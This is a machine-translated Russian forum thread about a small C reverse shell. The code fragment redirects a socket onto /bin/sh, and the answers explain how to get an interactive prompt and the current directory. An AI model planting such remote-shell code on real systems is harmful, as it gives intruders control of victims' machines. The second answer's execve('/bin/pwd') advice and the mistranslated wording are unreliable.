Распечатать текущий каталог в обратной оболочке
Я попытался построить очень маленький перевернутый корпус в C.
Соединение работает, команды также выполняются, но мне интересно, как можно распечатать текущий каталог. Мой код до сих пор:
Клиент:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
На стороне сервера я просто использую nc, который работает нормально. Но текущий каталог не распечатывается как обычно. F.ex. если я отправлю "cd [...]", то вообще ничего не получится.
Как я могу отправить текущий каталог на сервер?
Спасибо за любую помощь.
2 ответа
Если вы хотите увидеть текущий каталог, запустите pwd
команда.
cd
Команда не печатает никаких выходных данных. Поэтому вы не увидите никаких результатов.
Если вы запустите оболочку в интерактивном режиме, оболочка напечатает приглашение после выполнения команды. В некоторых оболочках или, в зависимости от вашей конфигурации, это приглашение может содержать текущий рабочий каталог.
Но когда вы подключаете сокет к оболочке stdin/out/err, оболочка обнаруживает, что она не находится в интерактивном режиме, и не будет отображать приглашение. Просто создаю cd
Команда не даст вам никакого выхода.
Вы можете перевести оболочку в интерактивный режим, и в этом случае она должна выводить подсказку после каждой команды:
execl("/bin/sh", "/bin/sh/", "-i", NULL);
(Или найдите способ добавить аргумент "-i" в вызове execve())
Просто сделай это
execve("/bin/pwd", argv, env);
Вы должны действительно искать больше ответов на Google!:)